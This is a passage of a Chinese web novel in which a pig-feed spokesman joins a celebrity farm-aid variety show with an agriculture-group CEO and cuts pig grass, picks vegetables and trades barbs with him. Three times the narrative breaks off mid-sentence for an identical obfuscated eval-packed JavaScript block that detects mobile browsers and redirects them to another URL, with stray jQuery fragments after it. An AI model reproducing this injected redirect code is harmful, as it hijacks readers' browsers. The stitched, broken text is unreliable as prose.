高嘉璈化好妆,翻看起嘉宾名册:1,白子慎,46岁,演了很多老一辈的戏,虽然近些年不怎么火了,但还是“嗨!南之家”的代言人。 高嘉璈努努嘴,“嗨!南之家”代言以前也找过他,但他觉得这是中年人市场不想进入。谁知道他现在专攻猪猪市场了呢? 2,周晓文,24岁,最近势头很猛的男演员,拿了海德堡电影奖的提名,并且拿下了奢品cigug的代言。 3,蓝岚,27岁,老牌女团的成员,中性风打扮,一头短发、黑灰色穿搭,看着很帅气。 4,杨梅,23岁,网红。 高嘉璈觉得她很熟悉,仔细一看才发现,这不就是顾留那晚带到酒吧的女伴吗?! 海儿凑到他身边,问:“怎么了?马上开机了,你怎么这个表情。” 高嘉璈把资料翻给她,“你知道这是谁吗?” 海儿看了看,说:“杨梅,别吓我,那么简单的字都不认识吗?” 高嘉璈一字一句地说:“这是顾留的新女友。” 海儿诧异地挑了下眉,说:“胆子真大。” 高嘉璈没来得及细问“胆子真大”是什么意思,导演那边就催场了。 海儿拉过高嘉璈,补了点散粉,然后一把把他推出化妆棚。 “各位可农,欢迎来到西瓜地村!你们将在这里进行为期一个月的助农活动,你们将两两组队分为三组,每一组到规定农户家帮忙干活,包括但不限于:挑菜、劈柴、煮饭、种田、放羊、整理家务、饲养牲畜…… 这一个月,你们将住在农户家中,和农户同起同住,干一样的活。干活越多得小组,将积分越多,积分最多者将胜出,获得由丰和集团赞助的环球旅行奖!《我们在农村!》由丰和集团独家冠名播出。请大家自行组队。” 白子慎点了一遍人数,说:“主持人,这不对吧,我们五个人,怎么两两分组?” 主持人大升笑道:“你问到点子上了,让我们热烈欢迎最后一位嘉宾,丰和集团总裁——梅盛先生!” 剧组全体工作人员起立鼓掌,村民们听到这动静,也纷纷站起来往里探头探脑地打量。嘉宾们更是震惊不已,周晓文低声喃喃道:“居然真的来了。” 周晓文做过背调,梅盛作为当今风头最盛的年轻企业家,接手集团不过七八年,能把市值从十亿提到三百多亿,不少商界大佬评论梅盛:脑子聪明,手段硬,难以琢磨。 最主要他对农业基础和前沿都有着深刻把握,就像十多年老农民和世界前沿大学博士的结合体。 但这又是不可能的,因为梅盛是丰和集团前任总裁的儿子,从小在京城长大,怎么可能当过农民。不过他确实是哥大经济学毕业。 梅盛很少接受采访,仅在一篇商业杂志中露过脸,结果销量冲天,比周晓文所有杂志加起来还多——除了关注商界的人,不少人是冲他的那张脸。 丰和集团的梅总长得超级帅这个话题便小范围的传播开来,传到陈彤耳朵里,嗅觉敏锐的他立刻把梅盛、乡村、流量联系在一起,筹划做一档综艺。 圈内有些小有名气的明星认为这是丰和资本进军娱乐圈的一个信号,一听说梅盛未婚,便开始对梅盛投怀送抱,男的女的都有,形式比较单一——送礼或者脱光了躺在床上。 无一例外,这些人都被赶了出来,几瓶茅台也被退走,还被狗仔拍到,花了好些钱才压下来。 周晓文有意去问过几个爬床的,女的说梅盛喜欢男的,男的说梅盛简直天菜,共同认为的点就是梅盛很冷淡,客客气气地把人请出去,让人挑不出毛病。 有几个人转而巴结起梅盛的下属,送礼的爬床的都有,但这些人避之不及,生怕被梅盛知道后把他们开了。 周晓文于是摸清了梅盛的性格,底线高、为人正直,说明他对感情的要求很高,那自己就得显示出高质量来。 梅盛代表的不只是丰和资本,更是一个未被开拓的市场。 掌声阵阵,梅盛出现了。他穿了一身黑色的休闲运动装,头发随意地垂在耳边,他轻轻揽开额前碎发,像个大学生一样。明明已经三十多岁,可岁月没有在他身上留下任何痕迹。 梅盛和每个嘉宾打了招呼,最后目光落到站在边缘高嘉璈身上。 高嘉璈深吸一口气,对他笑了笑——自己这算不算又被坑了。 比起高嘉璈的皮笑肉不笑,主持人大升简直笑得灿烂无比:“欢迎梅总!此次西瓜地村拍摄的所有用度皆由丰和集团支付,录制结束后,所有受益归西瓜地村,并且丰和集团将为西瓜地村提供社会捐款!” 掌声不停,村民们听到有捐款,更开心了。 大升接着说:“梅总这次以嘉宾身份加入大家,我们就正好六个人。现在,请大家组队。” 杨梅先跑到蓝岚身边,说:“蓝岚姐,就我们两个女生,我们组队吧?” 蓝岚点头,“没问题。” 大升说:“请上前选择农户。” 杨梅拉着蓝岚走到一个白色桌子前,桌上放着三张图片,她们一眼挑中看起来最富裕的一户。 “好,”大升说,“杨梅和蓝岚选择了陶五姑家,这是村里的大户人家,就在西瓜地村村口。还剩两家,大家先到先得哦。” 周晓文对身边的梅盛伸出手,说:“梅总,我叫周晓文,是个拿了些奖的小演员,我们一组吧?” 梅盛看了看那只手,淡淡问:“为什么?” “因为想和梅总交个朋友,”周晓文的笑容无懈可击,“并且,白子慎和高嘉璈都……主攻下沉市场,他们或许更有话聊。” 梅盛笑出声来,他的眼尾有鱼尾纹,却反倒显得他更英俊成熟了。“好啊。”他说。 高嘉璈知道周晓文肯定看不上他,在杨梅和蓝岚选房子的时候就悄悄和白子慎说:“要不我俩一起?” 白子慎瞟了一眼目不斜视的梅盛,“你不选梅总?” “我想选你。” 白子慎没想到自己那么有魅力,应了下来。 “分好组了吗各位?”大升说。 “分好了。”高嘉璈和周晓文异口同声,二人对视了一眼。 周晓文挑挑眉,“你们先吧。” “好啊。”高嘉璈一点不客气,拉着白子慎走到桌前。 两张图,一张是栋双层木楼,有个很大的院子,看起来像个四合院一样。 高嘉璈的目光却被另一张图吸引了,他指着那张图震惊地问:“你们认真的吗?这是危楼吧?” “高嘉璈白子慎组选择三号房!” 高嘉璈、白子慎:? 大升说完,不等他们反驳,把那张“危楼”的图塞到高嘉璈怀里。然后把四合院的图递给梅盛,“梅先生,这是你们的房子。” 梅盛接过图,说:“多谢。” 周晓文笑着看了一眼高嘉璈,和梅盛离开了,“明天见咯二位。” 各工作组也分开,跟随每一组进行摄像,现场人很快走得差不多。 海儿从化妆棚里出来,见高嘉璈杵在原地,问:“你干嘛,醒醒,录综艺呢!” 高嘉璈沉默着把图递给她,然后,他看到海儿的嘴弯了一下,又很快压下。 “你们住哪儿?”高嘉璈问。 海儿指了下山顶一簇整洁的白色砖瓦房,又把“危房”的图片还给他,道:“加油。” 高嘉璈只好自己拿着大包小包,走在村子大路上,跟随两个女摄影师和白子慎攀爬了十多分钟后,终于在一座土房前停住。 此时太阳已经只剩个头,映得土房的脏墙一片赤红。 高嘉璈把行李放下,看着土墙,问:“门呢?” 是的,这个房子面对村里大路的一面居然是堵墙。朝向山下的一面无法通过,因为下面是别的家的屋顶,朝向山上的一面也无法通过,墙和山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246590|166357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坡间夹着一条很小的沟渠。 “来咯来咯!” 清脆的声音响起,下一秒,一个妙龄少女从墙和山坡的夹缝中跑了出来。 她看起来十七八左右年龄,皮肤略黑,笑起来却很有感染力,让人忍不住想跟着她笑。 “我叫阿云,是这家的人,我带你们先进去吧。”阿云的普通话并不标准,但可爱。 高嘉璈有意逗她一下,说:“可没有门,我们怎么进去?” 阿云笑了笑说:“这边来。” 摄影工作人员没有跟来,农户里面的拍摄有固定机位。 阿云带着高白二人,踩着沟渠的边慢慢穿过狭窄的通道,通道之外,是一片黑压压的山林,而阿云家的大门就正对着这片山林。 “门对山,好运柴。”阿云解释道,然后推开大门。 里面有一个用水泥浇灌的不大院子,院子右边是灶屋、堂屋,左边是卫生间,卫生间旁凹下去一个大坑,养了羊,院子尽头正对门的地方也凹下去一个坑,养了猪。 猪圈和羊圈交汇处的墙角处悬空搭了个房子,不知道做什么的。 阿云带他们进去,说:“阿爸阿妈打工去了,弟弟在外面上学,所以我申请了做公益农户,这样就有人帮我干活了!”她语气轻快,很是高兴。 高嘉璈和白子慎对视一眼,很是心虚。 阿云把他们引进正堂左边的屋内,对白子慎说:“你的屋子在这里。” 房间不算大,但干干净净,还有淡淡的肥皂味飘在空中。白子慎点点头,比较满意。 高嘉璈看向对面的屋子,说:“那间是我的吧?” “那是我的房间。”阿云笑着,把高嘉璈拉出堂屋,说,“帅哥,你是猪饲料的代言人吧?” 高嘉璈不是很情愿地点头。 阿云又把他拉到猪圈边,指着下面睡着了的两只猪,低声说:“你知道吗?自从你代言了软厚猪饲料,我家猪吃得可香了。明明是一个饲料,可他们就是喜欢吃你代言的。后来我想了一下,他们可能是看到帅哥,就吃的多了。” “是,是吗?”高嘉璈不知道该说什么好,尴尬地应和着。 “真的啊!你真的好帅哦,比网上帅,”阿云看着他,弯弯的眼里全是欣赏,“等他们明天起床看见你,怕是要吃得更多。” 高嘉璈被她说得有点不好意思,但一想到话的主体是猪,又觉得有点诡异。 “那我,到底住哪里呢?”高嘉璈问。 阿云笑说:“当然是和你的粉丝们住一起!” 高嘉璈呆住。 综艺嘉宾睡猪圈,他又要牺牲自己成全公司了。 阿云指着那座猪羊圈上悬空的房子,“你住那里,那是我们家最好的屋子!” 那座房子砖瓦做顶、土墙堆砌、木材做底,下面还睡着一堆羊和两只猪。 高嘉璈:“阿云,你对“最好”二字是不是有什么误解?” “没有啊帅哥,”阿云说,“这座房子是新盖的,面积比家里所有房间都大,而且床也大也新,不会响,被子垫单那些都是新的,我爸妈新年从镇上刚买回来的!” 她越说,还有些骄傲。 高嘉璈也不好驳她的意,主要,他也不知道自己除了这座屋子还能睡哪儿,总不能真与猪同寝吧。 阿云和他摆摆手,进了堂屋,没关门,留了一盏灯给高嘉璈。 高嘉璈叹了口气,拎起两袋行李,踏上悬空木地板。 “咔嚓”一声,木地板似乎松动了一下。 他瞬间僵在原地,一动不敢动。为了防止木板塌了真的“与猪同寝”,他缓缓把一袋行李放在水泥地上,提着另一袋先走到门前,推开了门。 一股淡淡的花香味绕在鼻尖。 屋里靠墙放着一张一米五大床,床边有个玻璃杯,里面插着几只淡紫色的薰衣草。最让他惊喜的是,瓦顶有几块是玻璃,有月光静静撒入屋内,不需要灯也可以将屋内看得清楚。 还真把最好的房给我了,高嘉璈想着,给手机充上电,然后躺在喜羊羊的被单上,看着屋顶外的夜空。 这里离城市很远,所以星星很亮。 5. 割猪草的第一名 第二天清晨,天刚有了一点颜色时,阿云就把所有人叫起来了。 高嘉璈和白子慎要去后山割猪草来喂猪。 高嘉璈提出问题:“为什么不割羊草,羊不吃吗? 阿云说:“我负责把羊喂饱,就不和你们去了。你们到山上,有人指导你们怎么割猪草。” 于是,高嘉璈和白子慎一人一个大箩筐,手拿镰刀,气宇轩昂地上了山。两个女摄影师手持相机,跟在他们身边 山是实实在在的新山,没有经过任何开发,全靠走前人走过的土路,还好路不是很陡,走了十分钟后,他们看见前面有一群人——两个摄影师,一个努力讲解的农民,一个抱着手站在一旁的周晓文,还有一个梅盛。 看见人来,农民大叔停下讲解,咧开嘴和他们挥挥手。 高嘉璈和白子慎走进,摄影机下,和周晓文梅盛尴尬地打了个招呼。 “两个女生呢?”高嘉璈问。 “她们有别的活动。”摄影师低声回答他。 农民大叔接着讲:怎么分清野草和猪草、割猪草的注意事项。之后,便让他们按个人分开比赛,割满半框猪草则在中午可以多加一碗饭。 白子慎、周晓文都没放在心上,一碗饭而已,刚好要保持身材,不吃更好。 高嘉璈倒是挺在意的,他想吃饱。 太阳缓缓升了起来,晨光经过层层叠叠的山脉照到高嘉璈身上,一整晚凝结而成的露珠落到高嘉璈指尖,他觉得心情很好。 当然,要是身后没有梅盛就更好了。 “你割错了。”梅盛说。 高嘉璈拿着手里的草直起身,说:“这就是猪草。” “这是猪草的话,那是什么?”梅盛指着他刚刚割下的草的旁边那一簇。 高嘉璈定睛一看,好吧,自己真的割错了。他认命地把手里地草丢了,弯腰把正确的草割下,丢到箩筐里,然后继续往前寻找。 梅盛还是跟着他,时不时指出他的错。 五六次后,高嘉璈终于忍不住直起身,“你跟着我干什么?总裁不用割猪草吗?” 梅盛说:“你挡我的路了。” 高嘉璈这才发现自己和箩筐把整条小道占满,梅盛想过去除非从下面,但此时已经走到陡峭的地方,很危险。 高嘉璈放下箩筐,站在小路里侧给他让道。梅盛比划了一下,说:“过不去。” 高嘉璈看着半米宽的路,说:“你是平常大摇大摆走路走习惯了吧?” “准确来说,”梅盛看着高嘉璈的眼睛,“我怕你把我踹下去。” 这倒说到他心里了。高嘉璈点点头,又摇摇头,说:“我可不想为了你当杀人犯。要过快过,我没功夫陪你聊天,还要割猪草呢。”说完,他又觉得有点不对,自己怎么那么快就融入了? 梅盛眼里浮起笑意,擦着高嘉璈走了过去。 高嘉璈瞅了他一眼,继续低头干活。 没干一会儿,白子慎摸到他身边。他看看不远处的梅盛又看看高嘉璈,低声问:“弟弟,你和梅总认识啊?” 高嘉璈说:“不认识。” “那他怎么一直跟着你?” “你想哪儿去了哥,因为我挡他路了。” “但他还告诉你哪些可以割哪些不要割。” “他是农业集团总裁,想卖弄一下对猪草研究的深入性。” 白子慎换了个位置,接着问:“你代言的猪饲料是软厚公司的是不是?” “对啊。” “我听说这软厚公司是丰和旗下的子公司啊。” 高嘉璈手上不停,一簇一簇地割猪草:“不知道啊。哥你割了多少?怎么基本没割啊?要不我把我的分你点儿?” 白子慎看了看高嘉璈的箩筐,他居然已经割了半箩筐的猪草。 感情真是来这儿割猪草的。 白子慎瞟了一眼摄影师,拿起箩筐,朝梅盛和周晓文挪去。 周晓文和梅盛一边找猪草,一边有一搭没一搭地聊着,气氛倒是平和,看见白子慎来,周晓文的表情不太好,但很快收住,邀请他一起割。 周晓文看了一眼埋头苦割的高嘉璈,问白子慎:“你怎么不和他一起?” 白子慎开玩笑说:“他太努力,卷死我了。” 周晓文对梅盛说:“梅哥,要不你去陪陪他,我看他一个人有点可怜。” 梅盛看了一眼周晓文的半箩筐猪草,说:“我在这里和你们说说话。” 周晓文露出一丝得意地笑容,又立刻按下。 白子慎也明白了其间道道,毕竟昨天才认识,今天就叫上梅总“哥”了,谁更亲近梅总一目了然。他忙笑笑,说:“我分不太出来猪草和野草的区别,梅总,您要不也教教我?” 周晓文忙说:“我教你吧。” 白子慎也没推辞,笑嘻嘻地凑近周晓文,听他讲二者之间区别。 梅盛却抬头,目光落在五十米外的高嘉璈身上。 高嘉璈割猪草割得一心一意、汗流浃背,因为没吃早点还有点昏,手一抖,镰刀割到手上,血很快渗了出来。 高嘉璈直起身,镰刀很锋利没有锈,应该不会得破伤风,但伤口实在是有点瘆人。 还没等他想怎么下山处理,被人按着肩膀扭过身来。 梅盛拉起高嘉璈受伤的手,眉头紧皱,抓着他流血的手指就要放嘴里。 “我靠你变态啊!!”高嘉璈疯狂挣扎开,抱着手警惕地看着他。 梅盛无奈地说:“这里没有水,你伤口不处理很快就发炎了。” “那,那也不能用你的口水啊!”这话太糙了,连梅盛一时都不知道怎么回答。 高嘉璈看了看自己流血不止的手,“我自己嗦!”他认命般地塞进嘴里,再拿出来,血已经没了,只剩一到肉粉色的伤口裸露在外。 梅盛放轻动作,拉过他的手,把创可贴贴在伤口上:“这几天这个指头少碰水。”说完,把创可贴纸屑揣兜里,转身要走。 “梅盛,”高嘉璈喊住他,让摄影别跟来,走到梅盛身边低声说:“梅总,我那天晚上……” 他又回头看了一眼,确认身后没人才说,“和你亲了一下,不能代表任何事情。你不要多想,也不用对我好,我知道我很帅,但我不可能再和你进一步发展了,谁让你利用我坑我呢!我们之后大路朝天各走一边,反正我也是代言你子公司的产品,梅总也不必亲力亲为。” 梅盛的脸上没什么变化,但眼神沉了下去,高嘉璈甚至觉得四周空气都阴沉了。 高嘉璈眨眨眼,不至于吧,他一个总裁难道还缺我一个玩伴。 过了好一会儿,高嘉璈以为梅盛不会回答了,他想走,但梅盛挡在路中央,他怕过去梅盛给他一脚踹下去。 “那个,梅……”他话没说完,梅盛忽然附身靠近,看着他的眼睛,轻轻一笑,说:“再说吧。” 说完,转身离开了。 高嘉璈站在原地,什么叫“再说吧”? 梅盛的摄影师追上他,才要说话,被梅盛打断:“小刘,把我和高嘉璈有交谈的视频删了。” 梅总的脸色非常不好,小刘忙点了点头。 割猪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246591|166357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草活动结束,农民大叔检查了四个箩筐,梅盛没割、白子慎不知道割了些什么,周晓文割了半箩筐、高嘉璈则割了整整一箩筐。 农民大叔先检查了周晓文的箩筐,满意地点点头,“不错,三分之二都是猪草,第一次割能这样很不错,但还是没达到要求啊。” 他又检查高嘉璈的箩筐,一检查,眼睛放光地说:“基本全是猪草!数量多又精细,你真有割猪草的天赋啊!” 奇奇怪怪的天赋,但高嘉璈还是笑了,至少自己的手没白割,至少中午可以多吃一碗白米饭。 梅盛先回去换衣服,他一会儿要开视频会议,得去村支书办公室才有WIFI。 周晓文和白子慎走在高嘉璈后面几步,高嘉璈听见周晓文小声说:“为了碗饭拼成这样,高嘉璈公司是不是虐待他啊?” 白子慎没答,只摇了摇头,表示不知道。 高嘉璈翻了个白眼,没理他,快步下山,回到阿云家。 阿云满头大汗,她才从山上下来,正在水管下洗脸。 高嘉璈把大框猪草放下,看了看圈里的羊,已经是吃饱了的样子。 阿云抹了把脸,看向箩筐里的草,道:“帅哥,你真是太会割了,猪看了都喜欢,活该你代言猪饲料!” 高嘉璈笑笑,说:“接下来干什么?” “你喂喂猪吧,今早不用干什么了。节目组说不能让你们一开始就太累。” 白子慎也回来了,他框里什么都有,野草、野菜、猪草、野花、牛草……阿云看了一眼,也眼睛弯弯,对白子慎说:“大哥,你把你框里不同的菜捡出来吧。” 白子慎“啊?”了一声,说:“我先进去喝口水。”然后把钻进房间,把摄影挡在门外,没了动静。 阿云叹了口气,高嘉璈说:“一会儿我去捡吧。” 阿云说:“没关系帅哥,我来捡吧。你帮我把猪喂了。”说着,她去堂里搬猪饲料。 阿云并不瘦弱,但身材娇小,一袋猪饲料几乎有她一半高,拉得格外吃力。 高嘉璈上前接来,说:“我来拿吧。” 他靠近才发现,那猪饲料黄色的袋子上居然有自己的图片!丑倒不丑,就是有点怪异。 他装作没看见,搬起饲料朝猪圈走去。 身后响起阿云愉快的笑声,她拉住高嘉璈:“帅哥,我能不能拍张照,猪饲料上是你,抗猪饲料的也是你,太有纪念意义了!” 她的笑容太有感染力了,高嘉璈没办法拒绝,于是拿着猪饲料站定。 阿云拿出手机,对高嘉璈道:“高帅哥,看这里,笑一个嘛!” 高嘉璈浅浅笑了下,阿云立刻夸起来,什么“你简直是我见过最帅的人”、“你爸爸妈妈怎么把你生的那么帅的”、“帅哥我要做你一辈子的粉丝”…… 听着这些话,高嘉眼里的笑意再也憋不住。 “对对对!就是这么笑!”阿云按了好几张后,走到高嘉璈身边给他看照片。 照片拍得很一般,但高嘉璈看见,阿云的手机膜碎了、手机也因为老化显示不出正常颜色。但她根本不在意,只欢快地笑着。 阿云教高嘉璈猪饲料和猪草的怎么配比,配好后从上直接倒进猪槽里,两只猪一拥而上,吃出了比赛的架势。 阿云赞叹:“代言人的力量果然强大。” 白子慎直到中午吃饭才出现,他说:“不好意思,早上起的有点早,人老了,要休息一下。” 阿云笑笑,“没事,快吃饭了,你和嘉璈哥一起去吧。” 白子慎揉了揉肚子:“刚好饿死了。” 6. 菜盲 西瓜地村的第一顿饭,是在村口的广场上,所有嘉宾聚在一起吃大锅饭。 才到广场,高嘉璈就看见海儿,她化着淡妆,还精心地盘了头发。 海儿也看见了高嘉璈,全素颜,脸被晒得泛红,头发像鸡窝,白衣服乱七八糟。她瞪大眼睛,忙走过去,从包里掏出防晒倒在手上,拉着高嘉璈就往他脸上糊。 糊完,把整瓶防晒都塞给他,并提醒道:“一定要记得擦啊!早上出门、中午出门,全都要擦。还有你的头发要梳一下,衣服脏了就换掉,不要给观众留下脏兮兮的印象!” 高嘉璈点点头,眼睛一直在瞟长桌上的菜和白米饭,咽了口水:“好,好。” 海儿发现他手上贴着创可贴,惊道:“你受伤了!怎么回事?没关系吧?你哪里来得创可贴?” 高嘉璈说:“今早割猪草,被划了一下,没事。” “割猪草都能把手割破……”海儿说着,又从包里拿出一盒创可贴,“拿好,有事要打电话给我。” 高嘉璈接过,问:“你吃了吗?” 海儿眨眨眼,“还没,不等你们吗?” “我们都到了,”其实梅盛没到,但高嘉璈自动忽略他,高声对陈彤道,“陈导,开饭吧!” 午饭很丰盛,有鸡汤、猪脚、凉拌牛肉……五个荤菜六个素菜还有一大锅汤。 五个嘉宾坐在一起,一句话不说,只低头干饭。 高嘉璈第一个吃完,端着饭碗到米锅前,又给自己盛了尖尖的一大碗。 海儿默默移开目光,她不是很想认这个像饿死鬼投胎的高嘉璈。 两个女生首先吃完离席,跑到公路边看下面的江,看样子,二人已经熟稔起来了。 白子慎也很快吃完,正要去加饭,被陈彤拦住:“白老师,今天你割猪草没达到要求,只能吃菜不能加饭。” 白子慎没想到他们来真的,更想到自己会那么饿,刚刚的饭已经比他平时的量多,但还是饿,笑道:“吃菜我怎么吃得饱?又不是粮食匮乏,别那么认真嘛陈导。” 此时周晓文也吃完了,他不想承认自己也没吃饱,坐在原处看白子慎怎么沟通。 陈彤也有些为难,恰好梅盛来了,赶紧向他求助。 梅盛听后,说:“这里一个农民割半箩筐猪草需要半小时,我们今早割了三个小时,既然时间够,没割够是自己的问题。我也只吃该吃的数量。” 说完,没再管他,拿着自己的碗盛了菜,坐到高嘉璈身边——那原本是白子慎的位置。 周晓文看见白子慎吃瘪,挑挑眉,什么都没说。 陈彤低声劝道:“白老师,一人割半箩筐猪草刚好是喂猪的量。你今天还好,你们家猪少,高嘉璈帮你割满了,梅总那组不够,他们住的农户家主人只好又山上割。梅总不是很高兴。” 白子慎瞥了梅盛一眼,压低声音,说:“他有什么不高兴的,他自己也没割满啊。” 陈彤的声音更低了,几乎不动嘴地说:“梅总开完会,又去和农户割满了。” 白子慎这次真没话说了,他有点后悔来了,没想到玩儿这么真。 吃完饭,主持人大升出现,发布了新的任务: 今晚的晚饭将由六个嘉宾一起准备。他们下午需要定下菜单,素菜自己去田里找,荤菜由节目组提供活的,嘉宾自己杀。现在就可以开始商量。 杨梅杵着脑袋,问:“男嘉宾里有人杀过猪啊羊啊这些的吗?” 周晓文和高嘉璈摇头,白子慎见状,也跟着摇头。梅盛说:“我会杀鸡。” 所有人震惊地看向他。周晓文问:“梅哥,你怎么会杀鸡?” 高嘉璈觉得这对话简直说不出来的怪。 梅盛说:“以前学的。” 蓝岚咳了咳:“我也会,那我和梅老师杀□□,你们找其他菜。” 所有人又震惊地看向蓝岚。杨梅问:“你也会?” 蓝岚说:“我家农村的,只是没这里穷,小时候杀过鸡。” 于是,杨梅、周晓文、白子慎、高嘉璈毫无疑问地负责去田里摘菜。 他们的菜单上需要蔬菜有:土豆、豆芽、青菜、玉米、西葫芦、冬瓜。 高嘉璈举起手,问:“能不能加个萝卜,我爱吃萝卜。” “没问题。”白子慎正要写,被梅盛打断。 “冬吃萝卜夏吃姜,”梅盛看着高嘉璈,说,“这个季节没有萝卜。” 白子慎又默默擦掉。 周晓文眼睛一转,说要留下来帮梅盛他们杀鸡。 白子慎一到田间就尿遁了。 最后,只剩杨梅和高嘉璈挎着篮子,走在田间。 西瓜地村的菜地、田地都是沿山开辟,上面几层种玉米和一些不知名的菜,下面层层叠叠地种着许多水稻,风一吹,麦浪在山间起伏。 可惜高嘉璈无心欣赏此等景色,他和杨梅都有些心照不宣地尴尬,只是相机在面前,谁都不好说。 于是,两个多小时,他们的对话只有: “这是青菜吗?” “应该是。” “那拔吧。怎么拔不动。” “是不是要把旁边的土挖开?” “哦,对哦。” “那是豆芽吗?” “应该是。” “这个冬瓜好重。” “那……怎么办。” “没事,抱吧。” “西葫芦是小瓜吗?” “应该是。” “玉米要掰几个?” “不知道啊。” “那……能掰几个掰几个吧。” “你重吗?要我帮忙吗?” “不用不用不用。” “哇这个小猫真可爱。” “……确实。” “土豆好像埋在地下。” “应该是。” “那土豆在地面上的苗长什么样?” “不知道……” 于是他们就卡在这里了,哪怕有村民告诉他们土豆地在哪里,他们到了也找不到哪个是土豆苗。 高嘉璈只能认出猪草。 “要不,我们不吃土豆了?”高嘉璈说。 “那吃什么?”杨梅问。 “猪草也可以吃。” “……” “我去找村民问问哪个是土豆。” 高嘉璈觉得自己的脚趾可以把这座山扣通,只好快步逃离,没想到没走几步,就见梅盛顺着田梗走来。 怎么阴魂不散的。 高嘉璈只好转身回到杨梅身边,和她假意认真地寻找土豆苗。 更尴尬了。他莫名觉得,要是梅盛没来,他可能会和杨梅在这里尬到天黑。 梅盛走进,扫了他们一眼,说:“你们踩着土豆苗了。” 高嘉璈和杨梅连忙退开。 梅盛上前,单膝跪在地上,弯腰刨开泥土,把一串土豆拔了出来。 杨梅忙上前接住,放进篮里。 高嘉璈看着他,心想别的总裁都是西装上身,单膝跪地地给所爱之人求婚;梅盛却穿着运动服,单膝跪地地刨土豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246592|166357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他觉得好笑,结果收获了杨梅疑惑的目光。 高嘉璈赶紧放下嘴角,也蹲了下去,心想梅盛真是优雅,搞个土豆还要慢条斯理地把周围的土拨开,直接拔不就行了。 高嘉璈拉紧土豆长长的苗,往后一拔,然后,苗断了,他实打实地摔了个屁股墩。 三个摄像师和杨梅笑出声来。 梅盛站起身,对高嘉璈伸出手。 高嘉璈本想自己起来,但他屁股陷在土里,只好握上梅盛的手臂。 梅盛的手坚实有力,抓住高嘉璈的手臂,轻轻一提,就拔出高嘉璈带出泥。 高嘉璈说:“谢谢。” 挎着篮子,踏着斜阳,他们缓缓往山上的村子爬去。 奔腾的大江比昨天看的时候近了些,高嘉璈边走边转头往下看,自言自语道:“从这里一直下,是不是能走到江边。” 他不期望有人回答,因为在场的人也不会知道答案。 但梅盛却说:“到不了,看着近,其实非常远。” 高嘉璈问:“你怎么知道?” “这是集团捐助的山村,集团要做背调。比如村民靠江吃饭的可能性。” “有多少可能性?” “没可能。”梅盛摇摇头,说,“太远了。” 杨梅好奇地看着他们有问有答,说:“嘉璈哥,你代言猪饲料,梅总又是农业集团的总裁,你们好有缘啊!” 高嘉璈低着头爬山,没说话,看来她不知道代言的背后就是丰和。 杨梅又问:“但我一直好奇,嘉璈哥,你怎么会有这么有趣的代言?” “你猜猜。”高嘉璈看了一眼梅盛,心想那晚要不是你和顾留搁那儿亲,自己说不定不会被梅盛引诱。但他也就想想,这事扯到杨梅身上就有点离谱了。 杨梅摇摇头,“我猜不到。” 高嘉璈对她一笑,“那就别猜了,妹妹,知道太多对你不好。” 杨梅一脸明白了的样子,闭上了嘴。 晚上的菜和早上的比起来味道差不多,量却少了许多,高嘉璈拿着筷子,小声说:“我记得我们摘的菜挺多啊,怎么炒出来那么少?” 陈彤听见,解释道:“分了一些给你们住的农户。你们是在为他们分担农活,摘来的菜要一起吃。” 白子慎扭了扭肩膀,说:“摘了一个下午,真的好累啊。” 高嘉璈和杨梅对视一眼,懒得说他。 周晓文整个饭局一句话没说,好像杀鸡这件事对他造成了极深的阴影一样。 吃完饭去,大家各回各家。路上,白子慎悄悄对高嘉璈道:“我不是邀功啊弟弟,你们在下面摘菜,我也在上面摘了,你可别多心。” 高嘉璈狡黠一笑,说:“我知道哥不会偷懒的。” 阿云正在洗碗,见他们回来,立刻笑吟吟地打了招呼,说:“我才吃完你们摘的菜,苦菜很新鲜。” 高嘉璈:“?我没摘苦菜啊。” 白子慎也摇头。 阿云笑着拿出两片菜叶,说:“因为你们把青菜和苦菜混在一起了。” 高嘉璈过去看,青菜的叶子更青更绿,苦菜的叶子有点褐色——他以为那是老了的青菜。 他叹了口气,感觉这趟助农综艺不会容易。 高嘉璈在卫生间洗了澡,阿云家虽然穷,但很干净整洁,该有的淋浴、热水一样不少。他洗的时候发现浴室里并没有安热水器,房顶也没有太阳能,但水就是很烫。 直到洗完澡出来,他看见阿云一个人蹲在灶房里烧水。 7. 变成猪和收谷子 第二天、第三天他们都做了和第一天一样的事情。早上割猪草,下午摘菜。 高嘉璈手上的伤已经好了,也能分辨出青菜、苦菜、娃娃菜、生菜、菠菜的区别了。 第三天夜里,高嘉璈做了个奇怪的梦——他变成了一只猪。 不知道什么时候入梦的,但他意识到的时候,就看到两只粉嘟嘟的猪脚了。 